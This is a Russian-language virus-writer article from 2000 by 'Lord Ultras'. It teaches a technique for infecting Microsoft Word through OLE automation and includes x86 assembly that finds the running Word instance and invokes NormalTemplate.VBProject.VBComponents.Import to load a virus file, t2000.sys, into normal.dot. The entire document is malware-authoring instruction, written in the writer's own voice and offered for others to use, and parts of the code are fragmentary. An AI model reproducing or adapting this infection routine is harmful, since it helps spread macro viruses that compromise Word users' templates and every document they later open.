Заражение W0rd via Win32 OLE APi - 29:12 - by Ultras
 
   В  этой  статье речь пойдет о заражение word с помощью OLE_api. Данный
метод был придуман вирмакером T2000. Этот метод давольно прост. Мы ищем в
OLE  активных  объектах идентификатор W0rd, потом индефикаторы вордовских
команд. Если все прошло успешно то импортируем файл t2000.sys.

Win32 OLE Automation code snippet
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Схема Заражения:

 1. Инстализируем COM библиотеку.
 2. Проверяем есть ли в данный момент в базе OLE, индентификатор w0rd
 3. Если есть получаем индентификатор w0rd и некоторых команд, которые
    понадобиться при работе.
 4. Копируем строку которая понадобиться нам в дальнейшем для import файла
    с диска в normal.dot
 5. Задаем и запукаем команды VBA на импорт файла t2000.sys в normal.dot

start:
~~~~~~

  ; Данная Api функция инстализирует библиотеку
  ; Component Object Model(COM). Это API функция
  ; должна быть обязательно запущено перед тем как вы будите использовать
  ; библиотеку COM.

  push 0                           ; Reserved, must be NULL
  call CoInitialize

  ; Это API функция проверяет активен W0rd в данный момент.

  push esi                         ; возвращает указатель на требуемый активыный объект
  push 0
  call WordID                      ; параметры ID объекта W0rd
  word_clsid:
  dd 000209FFh
  dw 0                             ; Должен быть zer0
  dw 0
  db 0c0h, 0, 0, 0, 0, 0, 0, 46h   ; указатель на ID активного объекта который в данный момент
  word_clsid: call GetActiveObject ; находиться в бызе OLE (в данный момент нам нужен W0rd)

  ; Тут получаем dispatcher ID для дальнейшей работы c Word объектами

  push edi
  call param_id
  id_dispatch dd 00020400h         ; dispatcher ID
  dw 0                             ; Должен быть zer0
  dw 0
  db 0c0h, 0, 0, 0, 0, 0, 0, 46h
  param_id:
  push dword ptr [esi]
  lodsd
  mov eax,[eax]
  call [eax]

  ; Это API функция создает и копируют строку, короче куда вам нужно!

  call string
  dw '\', 't', '2', '0','0','0', '.', 's', 'y', 's', 0 ; строка которая нам понадобиться
  string: call SysAllocString

  ; Теперь после этих всех операций мы имеем активный W0rd в которой мы должны засунуть наш файл
  ; t2000.sys.

  ; OpzZzz. Начинает самая муторная хер*я, с которой я очень долго мучилось и некоторые моменты до конца так и непонял.
  ; Хочу сразу поблагодарить T2000 за помощь которою он мне оказал.

  DISPPARAMS      struc
  Arguments       dd      0       ; Аргументы
  Disp_IDs        dd      0       ; Dispatch ID's и имена их аргументов
  Argument_Count  dd      0       ; Число аргументов
  Disp_ID_Count   dd      0       ; Число имен аргументов
  DISPPARAMS      ends

  NormalTemplate  equ     08h             ; dispatcher ID команд
  VBProject       equ     63h
  VBComponents    equ     87h
  Import          equ     0Dh


  Argument_Variant:
                  dw      VT_BSTR         ; Union type.
                  dw      0               ; Reserved.
                  dw      0               ; Reserved.
                  dw      0               ; Reserved.
  Variant_Union   dd      0
                  dd      0

 ; число параметров:

 Disp_Params:     dd      0               ; NormalTemplate
                  dd      0               ; VBProject
                  dd      0               ; VBComponents
                  dd      0               ; Import("c:\t2000.sys")

  mov edi,[edi]
  mov dl,NormalTemplate                   ; задаем параметр NormalTemplate
  call Invoke_Disp_Get

  mov dl,VBProject                        ; задаем параметр VBProject
  call Invoke_Disp_Get

  mov dl,VBComponents                     ; задаем параметр VBComponents
  call Invoke_Disp_Get

  lea eax, [ebp+(Argument_Variant-start)]   ; таблица аргументов понадобиться для того чтобы выполнить import
                                            ; файла t2000.sys

  mov [ebp+(Disp_Params-start).Arguments], EAX ; параметры dispatcher
  inc dword ptr [ebp+(Disp_Params-start).Argument_Count]

  mov dl,Import                           ; задаем последний параметр Import("c:\t2000.sys")
  call Invoke_Disp_Do                     ; и запускаем уже полноценую команду w0rd:
                                          ; NormalTemplate.VBProject.VBComponents.Import("c:\t2000.sys")


  ; А вот и самая наверно главная процедура которая задает и запускает команды w0rd

  Invoke_Disp_Do:               ; задаем параметр
  push DISPATCH_METHOD
  jmp  POP_Action

  Invoke_Disp_Get:              ; запускаем параметр
  push DISPATCH_PROPERTYGET
  POP_Action:
  pop  ecx

  push 0
  push 0
  lea eax,[ebp+(Result_Variant-start)]
  push eax
  lea eax,[ebp+(Disp_Params-start)]
  push eax
  push ecx
  push LOCALE_SYSTEM_DEFAULT
  lea eax,[ebp+(IID_NULL-start)]
  push eax
  movzx edx,dl
  push edx
  push edi
  mov eax,[edi]
  call [eax+18h]       ; вызываем команду
  mov edi, [ebp+(Result_Union-start)]
  or eax,eax
  retn

  DISPATCH_METHOD         EQU     1h
  DISPATCH_PROPERTYGET    EQU     2h
  DISPATCH_PROPERTYPUT    EQU     4h
  DISPATCH_PROPERTYPUTREF EQU     8h
  LOCALE_USER_DEFAULT     EQU     400h
  LOCALE_SYSTEM_DEFAULT   EQU     800h

  DISPID_PROPERTYPUT      EQU     -3

  VT_BSTR                 EQU     8
  VT_BOOL                 EQU     11

  ; После того как все сделали нужно будет деинстализировать COM библиотеку

   call CoUninitialize

   Существуют  конечно  и другие методы заражения w0rd с помощью OLE API,
но они более сложные и об этих методах в дальнейшем я тоже напишу статью.

Lord Ultras
(c) 2000

Open your eyes...